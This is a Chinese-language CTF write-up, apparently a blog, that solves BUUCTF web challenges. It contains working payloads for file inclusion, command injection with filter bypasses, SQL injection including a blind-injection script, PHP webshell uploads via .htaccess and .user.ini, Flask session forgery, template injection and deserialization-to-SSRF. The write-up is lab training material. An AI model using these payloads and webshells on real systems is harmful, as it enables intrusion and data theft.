前言

新开个靶场接着刷题,极客大挑战已经做过的就跳了,参考极客大挑战-WP | Yxing

[ACTF2020 新生赛]Include

根据tips中的文件包含直接伪协议

GET:file=php://filter/read=convert.base64-encode/resource=flag.php

image-20250611143141744

flag{99cbe927-0326-4ad0-9cbb-0d524fef23e3}

[HCTF 2018]WarmUp

源码提示source.php,直接访问,源码发现hint.php,也直接访问

//source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') //先在page后拼接一个问号再查找问号位置,提取从开头到问号位置的字符
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page); //再次处理url解码后的page,判断操作如上
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
//hint.php
flag not here, and flag in ffffllllaaaagggg

那我们就可以直接开始构造,注意这里必须判断再白名单中

GET:file=hint.php?/../../../../../ffffllllaaaagggg

这里在包含文件时会先尝试包含hint.php?/,发现不是一个文件后会接着向后面包含,从而包含到根目录的flag

image-20250611144800966

flag{b445e688-4846-45cb-8f91-7274bff5cf7b}

[ACTF2020 新生赛]Exec

分号隔开后命令执行就行,这里扒了个源码下来

<?php 
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>
POST:target=127.0.0.1;tac /flag

image-20250611145014712

flag{dd2de656-3bb9-45fe-959f-aa4be341d74a}

[GXYCTF2019]Ping Ping Ping

还是隔开就行,但是这里加上过滤了,禁用了空格,/<>等。ip=127.0.0.1;ls可正常执行

先来绕过空格读个源码

GET:ip=127.0.0.1;cat$IFS$1index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

可以看到这里将flag隔开是不行的,检测方式是按顺序匹配flag这四个字符,可以采用字符拼接

GET:ip=127.0.0.1;a=fl;b=g.php;c=a;tac$IFS$1$a$c$b

image-20250611150549094

flag{7ba0ac78-487c-4138-a45c-c88c97352d35}


也可以用HNCTF学到的,都可以打出来,推荐第一个

GET:ip=127.0.0.1;tac$IFS$1`ls`
GET:ip=127.0.0.1;`echo$IFS$1dGFjIGYq|base64$IFS$1-d`
#原始为ip=127.0.0.1;`echo dGFjIGYq|base64 -d`,即`tac f*`

[SUCTF 2019]EasySQL

这道题算是比较涨姿势了,首先fuzz一下发现输入数字时会返回一个数组Array ( [0] => 1 ),任意数字都是这个,但是输入字符时就啥都不会回显,输入flag或者union等时回显NONONO,那么猜测常规的布尔时间union都打不了了,而且后端代码猜测可能是

select $_POST['quert'] || flag from flag

如果只是单纯传入一个数字,就会执行select 1 from flag,这个语句就没有有用回显

法一:直接绕过

POST:query=*,1

payload如上,解释下,如果照上面猜测的拼凑到语句中,就是1||flag,总会返回1,而前面就会select * from flag,从而获取flag

image-20250611152536478

flag{4e45612f-bde7-4078-8159-609e7fcbfd01}

法二:堆叠注入

这里按照猜想,直接用堆叠注入,发现回显了

query=1;show databases;

image-20250611152842248

query=1;show tables;

image-20250611152919415

query=1;show columns from Flag;

但是这里由于把flag过滤了,所以不能直接读出来,但是从表名这里就可以看出来确实是如猜想的那样

法三:PIPES_AS_CONCAT 函数

PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。

select 1 || flag from Flag的意思将变成:先查询1,再查询 flag,而不是查询1flag,只是查询的结果会拼接到一起,不要弄混淆了

1;sql_mode=PIPES_AS_CONCAT;select 1

拼接进去后就会通过select 1 || flag from flag将结果合并输出,从而获得flag

[强网杯 2019]随便注

输入1后还是和上题一样回显数组,先来判断下类型

inject=1'

image-20250611154326361

报错说明确实是单引号闭合,尝试常见注入

inject=1' union select 1,2#

image-20250611154501307

万能密码注入时会显示当前表内所有数据,传参时要url编码

inject=1' or 1=1#
inject=1'%20or%201%3D1%23

image-20250611155455015

法一:堆叠注入

先用堆叠试试

inject=1';show databases;#

image-20250611154624360

inject=1';show tables;#

image-20250611154640171

inject=1';show columns from words;#

image-20250611154810621

没什么值得注意的,看看另一个表。注意这里数字作为表名时要用反引号包裹

inject=1';show columns from `1919810931114514`;#

image-20250611154857560

看到flag,但是由于select被过滤不能直接读取,下面又是涨姿势的时候了

通过万能密码注入结果和上面堆叠注入结果可以猜测后端查询语句为

select * from words where id=$_GET['inject']

这里就有思路了:先将word表通过rename改成其他名字的表,再将1919810931114514改为word表,添加id列和将flag列改为data列,最后再用万能密码查询,就可以看到目前的word表,实际上的1919810931114514表的全部内容了。payload如下

GET:inject=1';rename table words to yxing;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

最后万能密码就可以查看

GET:inject=1'%20or%201%3D1%23

image-20250611161023674

flag{e04f26d1-2901-48fd-95a7-58633e87bc85}

法二:编码绕过select

GET:inject=1';SEt@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare yxing from @a;execute yxing;#
#十六进制解码为select * from `1919810931114514`

注意,用了法一之后,1919810931114514这个表就相当于废了,要测就要重开环境了,或者重命名回去

这个payload简单解释下:先用set将查找结果的值赋给变量a,然后用预处理命令实现编码转换,最后执行预处理的yxing语句。而且这里的setprepare不能同时为小写,有waf,将某一个单词大写就行

image-20250611162148097

法三:concat拼接绕过select

GET:inject=1';use supersqli;set @a=concat('s','elect flag from `1919810931114514`');PREPARE yxing from @a;EXECUTE yxing;#

这里思路相同,还是去绕过select函数,通过这两个字符串拼接来实现

image-20250611162729576

法四:handler代替select读取

GET:inject=1';handler `1919810931114514` open as `yxing`;handler `yxing` read next;#

handler会一行一行的读取表中数据,这里的handler只会读取表中的一行数据,不过用来处理这个题也足够了

image-20250611163031545

这个方法还可以用来无列名注入,涨姿势了

[ACTF2020 新生赛]Upload

源码给了一个上传文件的位置

在鼠标悬停小灯泡上,小灯泡亮后会给出文件上传的位置

image-20250611164546329

首先绕过前端限制,上传图片马

image-20250611164837868

但是这里后端也有验证,发现php文件还是传不了,但是可以传.phtml文件,那么就有思路了

<script language='php'>eval($_POST['123']);</script>

image-20250611172108749

路径为/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml

成功上传连马找到flag

这里也可以上传.htaccess.user.ini文件的,但是由于上传后会在前面加上一串字符,所以不能起作用

image-20250611172147872

flag{34449896-2685-4b1b-a9f1-6d21fe627c84}

[ACTF2020 新生赛]BackupFile

本来拿dirsearch来扫的,结果不知道为啥用不了(似乎是buu有请求限制)

image-20250611172450474

这里直接看题目名字猜测是index.php.bak,访问获得源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

这里判断key是否是数字,然后再与str进行比较,由于只是弱比较,直接传参key=123就可以获得flag

php弱比较时会先判断类型,类型不一样会先转换类型,这里整数与字符进行比较,就会将字符转换为数字,所以只提取123结束了

GET:key=123

image-20250611173019546

flag{aa26f5f6-ba64-418f-af71-aea35eeb514f}

[RoarCTF 2019]Easy Calc

源码中可以发现通过向calc.php请求来获得答案

$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})

访问calc.php获得源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

原来以为是ssti,结果是命令执行

calc.php?num=system("ls");

直接传参显示403不允许,并且似乎测出来不能传字母?

这里有个小姿势,访问calc.php? num=phpinfo();就能正常传参。php在解析时会先将空白字符去掉,转换为有效变量

然后看到disable_function中把常见命令执行函数都禁用了

image-20250611175152432

这里就要用无参rce的知识了

GET:? num=var_dump(scandir(chr(47)))
#原始为var_dump(scandir("/")),转换字符时会自动带上引号

image-20250611180017369

找到f1agg文件

GET:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
#原始为var_dump(file_get_contents("/f1agg"))

image-20250611180140739

flag{11b7e176-74ae-4926-a43b-6569fe9b8f70}


这里也可以用十六进制绕过

? num=var_dump(scandir(hex2bin(dechex(47))))
? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[BJDCTF2020]Easy MD5

随便输一个1,在请求头中找到hint

image-20250611180919330

select * from 'admin' where password=md5($pass,true)

参考web187,ffifdyop这个字符MD5后会出现'or'6xxxx,完整拼接语句为

select * from 'admin' where password=''or'6xxxx'

这样总是会返回真,同理的万能密码还有129581926211651571912466741651878684928

输入ffifdyop后进入下一关levels91.php

源码找到关键代码

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

GET:a=QNKCDZO&b=QLTHNDT

进入第三关levell14.php

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

强等于,数组绕过即可

POST:param1[]=1&param2[]=2

image-20250611182036024

flag{5e33d0d7-c290-4eea-9201-4ae8dde86a8d}

[HCTF 2018]admin

法一:弱口令

进去看到注册和登录,先测一下注册,注册位置不能直接注册admin用户,因此直接登录页面弱口令爆一爆

image-20250611191218517

可以看到123的长度不一样,登录试试

image-20250611191317261

然后就直接拿到flag了?????我还打算看session里面打伪造呢

flag{557402b8-c485-4e01-9717-fd6a74494b0b}


好吧,上面是最简单的一种解法,下面再来学习几种

法二:伪造session

在随便注册登录后的修改密码页面源码中找到提示

image-20250611191735612https://github.com/woadsl1234/hctf_flask/

但是访问的时候似乎已经没了?那就看看师傅们的文章来学习就行了

[BUUCTF-HCTF 2018]admin1_[hctf 2018]admin 1-CSDN博客

解码session如下

{'_fresh': True, '_id': b'193636fd5a28f321aee1cd4b7f64cb2b103f481c86fd6734ee06e15f42c0aabf154af1b18c3dfb9b5b438cbfc60be08699ec9918134468dfe2d7cab84bbc8462', 'csrf_token': b'2338c8108aa8d5bef5f8261213a38da14822b1c2', 'image': b'Y3GW', 'name': '123', 'user_id': '10'}

密钥为ckj123

flask-unsign --sign --cookie "{'_fresh': True, '_id': b'193636fd5a28f321aee1cd4b7f64cb2b103f481c86fd6734ee06e15f42c0aabf154af1b18c3dfb9b5b438cbfc60be08699ec9918134468dfe2d7cab84bbc8462', 'csrf_token': b'2338c8108aa8d5bef5f8261213a38da14822b1c2', 'image': b'Y3GW', 'name': 'admin', 'user_id': '10'}" --secret 'ckj123'

.eJxFkE9rwkAUxL9KeWcPSUgvgodC_nSF94Jlddl3Ea1xs5ushaiYrPjdm1porzPDb5i5w_bY1-cG5pf-Ws9gaw8wv8PLHuaAsg3kMGG_irUUKTscURUdy8Jx9mEp0QmVZNGLATPylJlBB_OTTyhgxGp9I78eSOkIPd60Kiy7PKay8KjEUJUYuGRbKRFrtwrVxGKPCZbLDjOTVLLrdGhfUZoBwyoi17Ts1yNnB6eVSKlc2qlv0sUCHjP4PPfH7eWrrU__ExxOWExRvqVa5SlnG8tKx-zMSC4fUVKDoWm1zKMqE6N2hUOzeOKs35n6j6QkvW9uv85p5ycDdgdvTzCD67nun79BHMHjG8TDbcM.aElnjw.aGfVncn7LtxgsdQ5Lai2GGWQiDI

image-20250611192555078

重定向后获得flag

法三:Unicode欺骗

这个方法就完全参考师傅的文章了,简单来说就是因为改密码中的函数有问题,从而实现修改admin的密码

ᴬᴰᴹᴵᴺ
使用一次nodeprep.prepare()
-> ADMIN
再使用一次nodepre.prepare()
-> admin

[MRCTF2020]你传你🐎呢

还是文件上传,尝试直接传php,phtml都不行,jpg.htaccess可以上传,注意这里还要修改文件类型

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

image-20250611194010294

再上传个1.jpg就行

image-20250611194044563

路径为upload/9b2dde4fce14310907d843276b4003e9/1.jpg,蚁剑连上后根目录找到flag

image-20250611194202703

flag{fbce99fb-cfdd-4e97-93a6-2aa0aede5416}

[护网杯 2018]easy_tornado(tornado模板注入)

先挨着访问一遍

//flag.txt
flag in /fllllllllllllag
//welcome.txt
render
//hints.txt
md5(cookie_secret+md5(filename))

但是似乎都没看到cookie来着

注意到题目中的tornado,这是一个模板,可能涉及到模板注入

同时再访问报错后的报错页面看到参数

image-20250611194737346

尝试注入成功

image-20250611194805105

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settingshandler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。

GET:msg={{handler.settings}}

image-20250611194947158

'cookie_secret': '0e08d985-58ee-4fd0-9937-8ff360d43116'

拿着去加密就行

md5(cookie_secret+md5(filename))
/fllllllllllllag的MD5为3bf9f6cf685a6dd8defadabfb41a03a1
0e08d985-58ee-4fd0-9937-8ff360d431163bf9f6cf685a6dd8defadabfb41a03a1的MD5为dd7b4c07f393447c3aa72e23a5a8ef4c

image-20250611195252102

成功读取flag

flag{fc4b948e-4c2d-4bfe-b0c2-15bf68456209}

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //要求文件中共含有welcome to the zjctf,可以用data伪协议
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php //提示useless.php,直接读取出不来东西,可先尝试php://filter伪协议读
$password = unserialize($password); //估计是读userless.php就有反序列化了
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

所以payload如下

GET:text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
//useless.php
<?php

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

exp如下

<?php  

class Flag{ //flag.php
public $file;
}
$a=new Flag();
$a->file='flag.php';
echo serialize($a);
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终完整payload如下,注意这里直接包含useless.php,因为是在这个文件中反序列化的

GET:text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20250611202504633

源码获得flag

flag{4d492c3e-d675-44d4-9dba-ff22f0e0304e}

[MRCTF2020]Ez_bypass

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后,因为查看函数发现该函数对于第一个空格字符会跳过空格字符直接判断后面的内容

GET:id[]=1&gg[]=2
POST:passwd=1234567%00

image-20250612102640852

flag{6dbebba0-ddc7-40cb-b7f6-c0dc1e1fc938}

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") { //注意这里为弱比较
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2") //注意这里是强比较,如果直接赋值op=2后2==="2"是false
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) //检查s中的每个字符是否都是ascii有效字符。由于s中有protected属性,将%00转换为\00即可绕过
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

简单来说就是通过强弱比较,先赋值op=2,然后去读flag文件,注意这里涉及到对protected属性中字符是否为ascii字符的判断

法一:直接绕过is_valid函数

<?php
class FileHandler {

protected $op=2;
protected $filename= "flag.php";
protected $content;
}

$a=new FileHandler();
$b=str_replace('%00','\00',urlencode(serialize($a))); //在urlencode时将\*00换为%00,这里替换为\00,从而达到全为可见字符
$c=str_replace('s','S',$b); //反序列化时s表示字符串,S表示支持转义的字符串,反序列化后会解析\00为\x00
echo $c;
//O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D
GET:str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BN%3B%7D

image-20250612110646340

flag{c2cd0ab8-c92d-42dc-8e38-bf4aca75357a}

法二:利用类属性名称不敏感

<?php
class FileHandler {

protected $op=2;
protected $filename= "php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}

$a=new FileHandler();
echo serialize($a);
//O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}
//手动去掉其中不可见字符,并减去响应长度结果为
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
GET:str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

image-20250612111145102

当然,也可以在exp中直接修改,PHP7.1+对类的属性类型不敏感。两种其实同理,所以都放在法二下面

<?php
class FileHandler {

public $op=2;
public $filename= "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}

$a=new FileHandler();
echo serialize($a);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
GET:str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

[GXYCTF2019]BabyUpload

尝试后发现后缀名限制了不能用ph开头,所以尝试上传.htaccess文件绕过,并且还限制了文件内容中不能出现?,那就用phtml来写

<FilesMatch "1.png" >
SetHandler application/x-httpd-php
</FilesMatch>
<script language='php'>eval($_POST['123']);</script>

蚁剑连接根目录找到flag

image-20250619134404151

flag{fb8f6dc5-1cff-455a-b83d-050391b98812}

[SUCTF 2019]CheckIn

随便尝试上传一个php文件,发现同样过滤逗号和限制后缀,并且还要求我文件头,GIF89a绕过,和上个题同样思路但是这个题是通过.user.ini文件实现

GIF89a
auto_prepend_file=1.png
<script language='php'>eval($_POST['123']);</script>

成功连接之后根目录找到flag

flag{ac2430fb-8eb7-425f-932c-0d36f91f32d9}

[GYCTF2020]Blacklist

和之前的EasySQL相同的情况,但是做了些修改,可以尝试堆叠注入打出来

inject=0';show databases;#

image-20250619141221857

inject=0';select * from FlagHere;#

image-20250619141248555

很明显这里出现了过滤,但是可以参考随便注的法四,通过handler来查询

inject=0';handler FlagHere open as yxing;handler yxing read next;#

inject=0';handler FlagHere open;handler FlagHere read next;#

二者其实同理,就是一个别名的差别

image-20250619141454129

flag{33309862-b95c-495f-999f-07c55ba53f0c}

1[RoarCTF 2019]Easy Java

[CISCN2019 华北赛区 Day2 Web1]Hack World

fuzz测试后发现过滤空格,并且是数字型的sql注入,且1和2有不同回显,那就可以开始构造sql注入了

POST:id=if(ascii(substr((select(flag)from(flag)),1,1))>127,1,2)
POST:id=if(ascii(substr((select%09flag%09from%09flag),1,1))>127,1,2)

这两个语句可以拿来正常判断,那就通过任意一个来写脚本

import requests

url='http://cc7f75c4-48b1-41f8-bd91-adb055aa2789.node5.buuoj.cn:81/index.php'
result=''

for i in range(1,50):
high=127
low=32
mid=(low+high)//2
while high>low:
payload='if(ascii(substr((select\tflag\tfrom\tflag),{0},1))>{1},1,2)'.format(i,mid)
data={
"id":payload
}
response=requests.post(url,data=data)
if 'Hello' in response.text:
low=mid+1
else:
high=mid
mid=(low+high)//2
result+=chr(int(mid))
print(result)
if '}' in result:
break
print("flag为:"+result)

注意脚本中\t的写法,如果是%09会被识别为%09f一个整体。如果是通过括号绕过同理

image-20250619155555851

flag{4b75de9a-0a78-4e75-9f1b-04c57782a337}

[BSidesCF 2020]Had a bad day

看见随便尝试点击后后面有参数如index.php?category=woofers,尝试文件包含的伪协议,注意这里没有后缀,估计加上了php后缀

category=php://filter/read=convert.base64-encode/resource=index

image-20250619160026640

成功读取,挑选关键源码整理如下

 <?php
$file = $_GET['category'];
if(isset($file))
{
( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}?>

发现必须要关键字,但是对于php://filter伪协议,关键部分都在的话中间的字符不影响,首先尝试直接包含

category=index.php/../flag

感觉没东西,但是注释可以看到<!-- Can you read this flag? -->

image-20250619160557714

估计是被注释了,还是通过伪协议读取

category=php://filter/read=convert.base64-encode/index/resource=flag

image-20250619160915743

flag{8b1884ae-43bb-4899-b218-c5323695998c}

[网鼎杯 2018]Fakebook(sql注入+ssrf)

由于buu的限制,就没有用dirsearch扫目录,直接瞄了眼wp。先访问robots.txt,获得/user.php.bak,获得源码如下

<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

发现要求了博客格式,但是限制并不严格,类似于123.blog就可以,中间有.就行,并且这里的curl_exec可能导致ssrf漏洞。先去注册一个试试(最好不要用www.baidu.com这种,前两次开了之后访问不了view.php,估计是访问太慢了)

image-20250619163205708

回到原页面login后发现名字有超链接

image-20250619163227523

访问后发现可能存在sql注入,首先判断字符型还是数字型

no=2-1

image-20250619163346849

判断为数字型后判断列数,这里发现5不行,4可以

no=1 or 1 order by 5

image-20250619163605803

no=1 or 1 order by 4

image-20250619163706018

接下来正常注入

no=0 union select 1,2,3,4

image-20250619163752600

被检测了,尝试大小写绕过等都不行,最后发现估计是检测了union select不能同时出现,中间用/**/隔开就行

no=0 union/**/select 1,2,3,4

image-20250619163936105

在2的位置进行sql注入,首先尝试直接读取文件,先查看用户权限

no=0 union/**/select 1,(select user()),3,4

image-20250619164134330

发现是root用户,并且(扫目录)找到了flag.php在当前路径下,从报错可以看出来是/var/www/html,直接尝试load_file

no=0 union/**/select 1,(select load_file("var/www/html/flag.php")),3,4

发现读不出来,尝试写个马进去

no=0 union/**/select 1,'<?=eval($_POST[123]);?>',3,4 into outfile '/var/www/html/1.php'

好吧,写马发现权限不足,估计是该目录没有权限

老老实实去打ssrf,首先看看数据库中有没有可以利用的

no=0 union/**/select 1,(select database()),3,4     //fakebook
no=0 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),3,4 //users
no=0 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4 //no,username,passwd,data
no=0 union/**/select 1,(select data from users),3,4

最后查找发现,join的数据是以序列化形式存储在数据库中的data列,其他似乎就没有利用空间了

image-20250619165954497

而且有意思是页面在每次查询时都尝试访问博客地址,即调用最初获得源码中的getBlogContents()方法

image-20250619170600731

那么这里就可以实现ssrf来读取flag了

exp如下,通过file伪协议来读取本地文件

<?php

class UserInfo
{
public $name = "yxing";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo serialize($a);

payload如下,这里通过在第四个位置查找(即data的位置)实现ssrf

GET:no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"yxing";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

image-20250619171202600

可以看到通过iframe标签,使用data协议读取了flag.php中内容,base64编码后输出,解码获得flag

image-20250619171320280

flag{021d4d98-0ded-4fd7-84fc-320e3e52ec8c}

[网鼎杯 2020 朱雀组]phpweb

进去之后发现啥也没有,但是看源码的时候发现了东西

<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

有两个隐藏按钮,并且会在5秒(5000毫秒)后自动提交form1的表单

不传参数自动提交时会发现如下报错

image-20250619171839578

Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
2025-06-19 09:18:51 am

提交参数后出现如下报错(这里建议抓个包来做,不然一直刷新眼睛要花了)

随便传一个ls可以发现这里执行命令的是call_user_func()函数

image-20250619172035704

分别传systemls发现被检测了

image-20250619172238940

命名空间

参考轩辕杯-ezrce,命名空间秒了

func=\system&p=ls

image-20250619172430030

但是并没有找到flag,尝试搜一下flag文件

func=\system&p=find+/+-name+"flag*"

image-20250619175138286

看到最像的就是这个/tmp目录下的,读取尝试

func=\system&p=cat+/tmp/flagoefiu4r93

image-20250619175212576

flag{1a3cf675-b135-451e-9c2e-1df43e212e68}


反序列化

这里看wp发现也可以通过反序列化来打,如果不用命名空间,首先通过file_get_content读取index.php内容

func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

关键代码为

class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
